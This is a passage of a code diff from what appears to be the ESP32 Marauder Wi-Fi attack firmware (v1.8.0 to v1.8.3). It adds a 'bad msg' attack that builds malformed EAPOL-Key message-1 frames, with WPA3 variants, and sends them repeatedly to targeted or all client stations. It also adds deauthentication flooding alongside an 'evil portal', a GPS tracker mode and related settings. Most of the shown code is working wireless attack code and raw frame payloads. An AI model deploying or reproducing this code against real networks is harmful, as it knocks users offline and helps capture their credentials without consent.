||||
/* Update replay counter */
|
||||
for (uint8_t i = 0; i < 8; i++) {
|
||||
eapol_packet_bad_msg1[41 + i] = (packets_sent >> (56 - i * 8)) & 0xFF;
|
||||
}
|
||||
|
||||
if(sec == WIFI_SECURITY_WPA3 || sec == WIFI_SECURITY_WPA3_ENTERPRISE || sec == WIFI_SECURITY_WAPI) {
|
||||
eapol_packet_bad_msg1[38] = 0xCB; // Key‑Info (LSB) Install|Ack|Pairwise, ver=3
|
||||
eapol_packet_bad_msg1[39] = 0x00; // Key Length MSB
|
||||
eapol_packet_bad_msg1[40] = 0x00; // Key Length LSB (must be 0 with GCMP)
|
||||
}
|
||||
else {
|
||||
eapol_packet_bad_msg1[38] = 0xCA; // Key‑Info (LSB) Install|Ack|Pairwise, ver=3
|
||||
eapol_packet_bad_msg1[39] = 0x00; // Key Length MSB
|
||||
eapol_packet_bad_msg1[40] = 0x10; // Key Length LSB (must be 0 with GCMP)
|
||||
}
|
||||
|
||||
// Send packet
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
|
||||
packets_sent = packets_sent + 3;
|
||||
}
|
||||
|
||||
void WiFiScan::sendBadMsgAttack(uint32_t currentTime, bool all) {
|
||||
if (!all) {
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
for (int x = 0; x < access_points->get(i).stations->size(); x++) {
|
||||
if (stations->get(access_points->get(i).stations->get(x)).selected) {
|
||||
//for (int s = 0; s < 20; s++) {
|
||||
this->sendEapolBagMsg1(access_points->get(i).bssid,
|
||||
access_points->get(i).channel,
|
||||
stations->get(access_points->get(i).stations->get(x)).mac,
|
||||
access_points->get(i).sec);
|
||||
//}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected) {
|
||||
for (int x = 0; x < access_points->get(i).stations->size(); x++) {
|
||||
//for (int s = 0; s < 20; s++) {
|
||||
this->sendEapolBagMsg1(access_points->get(i).bssid,
|
||||
access_points->get(i).channel,
|
||||
stations->get(access_points->get(i).stations->get(x)).mac,
|
||||
access_points->get(i).sec);
|
||||
//}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
|
||||
// Itterate through all access points in list
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
@@ -7567,6 +7800,12 @@ void WiFiScan::main(uint32_t currentTime)
|
||||
this->RunGPSInfo();
|
||||
}
|
||||
}
|
||||
else if (currentScanMode == GPS_TRACKER) {
|
||||
if (currentTime - initTime >= 1000) {
|
||||
this->initTime = millis();
|
||||
this->RunGPSInfo(true);
|
||||
}
|
||||
}
|
||||
else if (currentScanMode == WIFI_SCAN_GPS_NMEA) {
|
||||
if (currentTime - initTime >= 1000) {
|
||||
this->initTime = millis();
|
||||
@@ -7574,6 +7813,20 @@ void WiFiScan::main(uint32_t currentTime)
|
||||
}
|
||||
}
|
||||
else if (currentScanMode == WIFI_SCAN_EVIL_PORTAL) {
|
||||
if (currentTime - initTime >= (this->channel_hop_delay * HOP_DELAY) / 4) {
|
||||
initTime = millis();
|
||||
if (this->ep_deauth) {
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected) {
|
||||
this->sendDeauthFrame(access_points->get(i).bssid, access_points->get(i).channel);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (evil_portal_obj.ap_index > -1)
|
||||
this->changeChannel(access_points->get(evil_portal_obj.ap_index).channel);
|
||||
|
||||
evil_portal_obj.main(currentScanMode);
|
||||
}
|
||||
else if (currentScanMode == WIFI_PACKET_MONITOR)
|
||||
@@ -7628,6 +7881,28 @@ void WiFiScan::main(uint32_t currentTime)
|
||||
packets_sent = 0;
|
||||
}
|
||||
}
|
||||
else if ((currentScanMode == WIFI_ATTACK_BAD_MSG) ||
|
||||
(currentScanMode == WIFI_ATTACK_BAD_MSG_TARGETED)) {
|
||||
//for (int i = 0; i < 5; i++)
|
||||
if (currentTime - initTime >= 200) {
|
||||
this->sendBadMsgAttack(currentTime, currentScanMode == WIFI_ATTACK_BAD_MSG);
|
||||
|
||||
|
||||
initTime = millis();
|
||||
String displayString = "";
|
||||
String displayString2 = "";
|
||||
//displayString.concat(text18);
|
||||
displayString.concat(packets_sent);
|
||||
for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
|
||||
displayString2.concat(" ");
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
display_obj.showCenterText(displayString2, TFT_HEIGHT / 2);
|
||||
display_obj.showCenterText(displayString, TFT_HEIGHT / 2);
|
||||
#endif
|
||||
//packets_sent = 0;
|
||||
}
|
||||
}
|
||||
else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
|
||||
for (int i = 0; i < 55; i++)
|
||||
this->sendDeauthAttack(currentTime, this->dst_mac);
|
||||
|
||||
@@ -111,6 +111,9 @@
|
||||
#define WIFI_CONNECTED 52
|
||||
#define WIFI_PING_SCAN 53
|
||||
#define WIFI_PORT_SCAN_ALL 54
|
||||
#define GPS_TRACKER 55
|
||||
#define WIFI_ATTACK_BAD_MSG 56
|
||||
#define WIFI_ATTACK_BAD_MSG_TARGETED 57
|
||||
|
||||
#define BASE_MULTIPLIER 4
|
||||
|
||||
@@ -184,33 +187,6 @@ esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, b
|
||||
esp_err_t esp_base_mac_addr_set(uint8_t *Mac);
|
||||
#endif
|
||||
|
||||
/*struct ssid {
|
||||
String essid;
|
||||
uint8_t channel;
|
||||
int bssid[6];
|
||||
bool selected;
|
||||
};*/
|
||||
|
||||
/*struct AccessPoint {
|
||||
String essid;
|
||||
int channel;
|
||||
int bssid[6];
|
||||
bool selected;
|
||||
LinkedList<char>* beacon;
|
||||
int rssi;
|
||||
LinkedList<int>* stations;
|
||||
};*/
|
||||
|
||||
|
||||
/*struct mac_addr {
|
||||
unsigned char bytes[6];
|
||||
};
|
||||
|
||||
struct Station {
|
||||
uint8_t mac[6];
|
||||
bool selected;
|
||||
};*/
|
||||
|
||||
struct AirTag {
|
||||
String mac; // MAC address of the AirTag
|
||||
std::vector<uint8_t> payload; // Payload data
|
||||
@@ -408,6 +384,51 @@ class WiFiScan
|
||||
0xf0, 0xff, 0x02, 0x00
|
||||
};
|
||||
|
||||
uint8_t eapol_packet_bad_msg1[153] = {
|
||||
0x08, 0x02, // Frame Control (EAPOL)
|
||||
0x00, 0x00, // Duration
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination (Broadcast)
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source (BSSID)
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID
|
||||
0x00, 0x00, // Sequence Control
|
||||
/* LLC / SNAP */
|
||||
0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00,
|
||||
0x88, 0x8e, // Ethertype = EAPOL
|
||||
/* -------- 802.1X Header -------- */
|
||||
0x02, // Version 802.1X‑2004
|
||||
0x03, // Type Key
|
||||
0x00, 0x75, // Length 117 bytes
|
||||
/* -------- EAPOL‑Key frame body (117 B) -------- */
|
||||
0x02, // Desc Type 2 (AES/CCMP)
|
||||
0x00, 0xCA, // Key Info (Install|Ack…)
|
||||
0x00, 0x10, // Key Length = 16
|
||||
/* Replay Counter (8) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
|
||||
/* Nonce (32) */
|
||||
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
|
||||
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
|
||||
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
|
||||
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
|
||||
/* Key IV (16) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
/* Key RSC (8) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
/* Key ID (8) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
/* Key MIC (16) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
/* Key Data Len (2) */
|
||||
0x00, 0x16,
|
||||
/* Key Data (22 B) */
|
||||
0xDD, 0x16, // Vendor‑specific (PMKID IE)
|
||||
0x00, 0x0F, 0xAC, 0x04, // OUI + Type (PMKID)
|
||||
/* PMKID (16 byte zero) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
enum EBLEPayloadType
|
||||
{
|
||||
Microsoft,
|
||||
@@ -475,14 +496,17 @@ class WiFiScan
|
||||
void tftDrawGraphObjects();
|
||||
void sendProbeAttack(uint32_t currentTime);
|
||||
void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
|
||||
void sendBadMsgAttack(uint32_t currentTime, bool all = false);
|
||||
void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
|
||||
void sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]);
|
||||
void sendEapolBagMsg1(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff", uint8_t sec = WIFI_SECURITY_WPA2);
|
||||
void sendEapolBagMsg1(uint8_t bssid[6], int channel, uint8_t mac[6], uint8_t sec = WIFI_SECURITY_WPA2);
|
||||
void broadcastRandomSSID(uint32_t currentTime);
|
||||
void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
|
||||
void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
|
||||
void broadcastSetSSID(uint32_t current_time, const char* ESSID);
|
||||
void RunAPScan(uint8_t scan_mode, uint16_t color);
|
||||
void RunGPSInfo();
|
||||
void RunGPSInfo(bool tracker = false);
|
||||
void RunGPSNmea();
|
||||
void RunMimicFlood(uint8_t scan_mode, uint16_t color);
|
||||
void RunPwnScan(uint8_t scan_mode, uint16_t color);
|
||||
@@ -504,6 +528,9 @@ class WiFiScan
|
||||
void RunPortScanAll(uint8_t scan_mode, uint16_t color);
|
||||
bool checkMem();
|
||||
void parseBSSID(const char* bssidStr, uint8_t* bssid);
|
||||
void logPoint(String lat, String lon, float alt, String datetime);
|
||||
void writeHeader();
|
||||
void writeFooter();
|
||||
|
||||
|
||||
public:
|
||||
@@ -527,6 +554,7 @@ class WiFiScan
|
||||
bool force_pmkid = false;
|
||||
bool force_probe = false;
|
||||
bool save_pcap = false;
|
||||
bool ep_deauth = false;
|
||||
|
||||
String analyzer_name_string = "";
|
||||
|
||||
@@ -598,6 +626,13 @@ class WiFiScan
|
||||
.magic = WIFI_INIT_CONFIG_MAGIC\
|
||||
};
|
||||
#else
|
||||
wifi_country_t country = {
|
||||
.cc = "PH",
|
||||
.schan = 1,
|
||||
.nchan = 13,
|
||||
.policy = WIFI_COUNTRY_POLICY_AUTO,
|
||||
};
|
||||
|
||||
wifi_init_config_t cfg2 = WIFI_INIT_CONFIG_DEFAULT();
|
||||
#endif
|
||||
|
||||
@@ -647,6 +682,7 @@ class WiFiScan
|
||||
void RunLoadAPList();
|
||||
void RunSaveATList(bool save_as = true);
|
||||
void RunLoadATList();
|
||||
void RunSetupGPSTracker();
|
||||
void channelHop();
|
||||
uint8_t currentScanMode = 0;
|
||||
void main(uint32_t currentTime);
|
||||
@@ -658,6 +694,7 @@ class WiFiScan
|
||||
bool save_serial = false;
|
||||
void startPcap(String file_name);
|
||||
void startLog(String file_name);
|
||||
void startGPX(String file_name);
|
||||
//String macToString(const Station& station);
|
||||
|
||||
static void getMAC(char *addr, uint8_t* data, uint16_t offset);
|
||||
|
||||
@@ -30,7 +30,7 @@
|
||||
//#define MARAUDER_CARDPUTER
|
||||
//// END BOARD TARGETS
|
||||
|
||||
#define MARAUDER_VERSION "v1.8.0"
|
||||
#define MARAUDER_VERSION "v1.8.3"
|
||||
|
||||
#define GRAPH_REFRESH 100
|
||||
|
||||
|
||||
@@ -91,7 +91,7 @@ bool Settings::loadSetting<bool>(String key) {
|
||||
DynamicJsonDocument json(1024); // ArduinoJson v6
|
||||
|
||||
if (deserializeJson(json, this->json_settings_string)) {
|
||||
Serial.println("\nCould not parse json");
|
||||
Serial.println("Could not parse json to load");
|
||||
}
|
||||
|
||||
for (int i = 0; i < json["Settings"].size(); i++) {
|
||||
@@ -99,6 +99,10 @@ bool Settings::loadSetting<bool>(String key) {
|
||||
return json["Settings"][i]["value"];
|
||||
}
|
||||
|
||||
Serial.println("Did not find setting named " + (String)key + ". Creating...");
|
||||
if (this->createDefaultSettings(SPIFFS, true, json["Settings"].size(), "bool", key))
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -239,7 +243,7 @@ void Settings::printJsonSettings(String json_string) {
|
||||
}
|
||||
}
|
||||
|
||||
bool Settings::createDefaultSettings(fs::FS &fs) {
|
||||
bool Settings::createDefaultSettings(fs::FS &fs, bool spec, uint8_t index, String typeStr, String name) {
|
||||
Serial.println(F("Creating default settings file: settings.json"));
|
||||
|
||||
File settingsFile = fs.open("/settings.json", FILE_WRITE);
|
||||
@@ -249,51 +253,74 @@ bool Settings::createDefaultSettings(fs::FS &fs) {
|
||||
return false;
|
||||
}
|
||||
|
||||
DynamicJsonDocument jsonBuffer(1024);
|
||||
String settings_string;
|
||||
|
||||
//jsonBuffer["Settings"][0]["name"] = "Channel";
|
||||
//jsonBuffer["Settings"][0]["type"] = "uint8_t";
|
||||
//jsonBuffer["Settings"][0]["value"] = 11;
|
||||
//jsonBuffer["Settings"][0]["range"]["min"] = 1;
|
||||
//jsonBuffer["Settings"][0]["range"]["max"] = 14;
|
||||
if (!spec) {
|
||||
DynamicJsonDocument jsonBuffer(1024);
|
||||
|
||||
//jsonBuffer["Settings"][1]["name"] = "Channel Hop Delay";
|
||||
//jsonBuffer["Settings"][1]["type"] = "int";
|
||||
//jsonBuffer["Settings"][1]["value"] = 1;
|
||||
//jsonBuffer["Settings"][1]["range"]["min"] = 1;
|
||||
//jsonBuffer["Settings"][1]["range"]["max"] = 10;
|
||||
jsonBuffer["Settings"][0]["name"] = "ForcePMKID";
|
||||
jsonBuffer["Settings"][0]["type"] = "bool";
|
||||
jsonBuffer["Settings"][0]["value"] = false;
|
||||
jsonBuffer["Settings"][0]["range"]["min"] = false;
|
||||
jsonBuffer["Settings"][0]["range"]["max"] = true;
|
||||
|
||||
jsonBuffer["Settings"][0]["name"] = "ForcePMKID";
|
||||
jsonBuffer["Settings"][0]["type"] = "bool";
|
||||
jsonBuffer["Settings"][0]["value"] = true;
|
||||
jsonBuffer["Settings"][0]["range"]["min"] = false;
|
||||
jsonBuffer["Settings"][0]["range"]["max"] = true;
|
||||
jsonBuffer["Settings"][1]["name"] = "ForceProbe";
|
||||
jsonBuffer["Settings"][1]["type"] = "bool";
|
||||
jsonBuffer["Settings"][1]["value"] = false;
|
||||
jsonBuffer["Settings"][1]["range"]["min"] = false;
|
||||
jsonBuffer["Settings"][1]["range"]["max"] = true;
|
||||
|
||||
jsonBuffer["Settings"][1]["name"] = "ForceProbe";
|
||||
jsonBuffer["Settings"][1]["type"] = "bool";
|
||||
jsonBuffer["Settings"][1]["value"] = true;
|
||||
jsonBuffer["Settings"][1]["range"]["min"] = false;
|
||||
jsonBuffer["Settings"][1]["range"]["max"] = true;
|
||||
jsonBuffer["Settings"][2]["name"] = "SavePCAP";
|
||||
jsonBuffer["Settings"][2]["type"] = "bool";
|
||||
jsonBuffer["Settings"][2]["value"] = true;
|
||||
jsonBuffer["Settings"][2]["range"]["min"] = false;
|
||||
jsonBuffer["Settings"][2]["range"]["max"] = true;
|
||||
|
||||
jsonBuffer["Settings"][2]["name"] = "SavePCAP";
|
||||
jsonBuffer["Settings"][2]["type"] = "bool";
|
||||
jsonBuffer["Settings"][2]["value"] = true;
|
||||
jsonBuffer["Settings"][2]["range"]["min"] = false;
|
||||
jsonBuffer["Settings"][2]["range"]["max"] = true;
|
||||
jsonBuffer["Settings"][3]["name"] = "EnableLED";
|
||||
jsonBuffer["Settings"][3]["type"] = "bool";
|
||||
jsonBuffer["Settings"][3]["value"] = true;
|
||||
jsonBuffer["Settings"][3]["range"]["min"] = false;
|
||||
jsonBuffer["Settings"][3]["range"]["max"] = true;
|
||||
|
||||
jsonBuffer["Settings"][3]["name"] = "EnableLED";
|
||||
jsonBuffer["Settings"][3]["type"] = "bool";
|
||||
jsonBuffer["Settings"][3]["value"] = true;
|
||||
jsonBuffer["Settings"][3]["range"]["min"] = false;
|
||||
jsonBuffer["Settings"][3]["range"]["max"] = true;
|
||||
jsonBuffer["Settings"][4]["name"] = "EPDeauth";
|
||||
jsonBuffer["Settings"][4]["type"] = "bool";
|
||||
jsonBuffer["Settings"][4]["value"] = false;
|
||||
jsonBuffer["Settings"][4]["range"]["min"] = false;
|
||||
jsonBuffer["Settings"][4]["range"]["max"] = true;
|
||||
|
||||
//jsonBuffer.printTo(settingsFile);
|
||||
if (serializeJson(jsonBuffer, settingsFile) == 0) {
|
||||
Serial.println(F("Failed to write to file"));
|
||||
//jsonBuffer.printTo(settingsFile);
|
||||
if (serializeJson(jsonBuffer, settingsFile) == 0) {
|
||||
Serial.println(F("Failed to write to file"));
|
||||
}
|
||||
if (serializeJson(jsonBuffer, settings_string) == 0) {
|
||||
Serial.println(F("Failed to write to string"));
|
||||
}
|
||||
}
|
||||
if (serializeJson(jsonBuffer, settings_string) == 0) {
|
||||
Serial.println(F("Failed to write to string"));
|
||||
|
||||
else {
|
||||
DynamicJsonDocument json(1024); // ArduinoJson v6
|
||||
|
||||
if (deserializeJson(json, this->json_settings_string)) {
|
||||
Serial.println("Could not parse json to create new setting");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (typeStr == "bool") {
|
||||
Serial.println("Creating bool setting...");
|
||||
json["Settings"][index]["name"] = name;
|
||||
json["Settings"][index]["type"] = typeStr;
|
||||
json["Settings"][index]["value"] = false;
|
||||
json["Settings"][index]["range"]["min"] = false;
|
||||
json["Settings"][index]["range"]["max"] = true;
|
||||
|
||||
if (serializeJson(json, settings_string) == 0) {
|
||||
Serial.println("Failed to write to string");
|
||||
}
|
||||
|
||||
if (serializeJson(json, settingsFile) == 0) {
|
||||
Serial.println("Failed to write to file");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Close the file
|
||||
|
||||
@@ -49,7 +49,7 @@ class Settings {
|
||||
//uint8_t loadSetting<uint8_t>(String key);
|
||||
|
||||
String getSettingsString();
|
||||
bool createDefaultSettings(fs::FS &fs);
|
||||
bool createDefaultSettings(fs::FS &fs, bool spec = false, uint8_t index = 0, String typeStr = "bool", String name = "");
|
||||
void printJsonSettings(String json_string);
|
||||
void main(uint32_t currentTime);
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user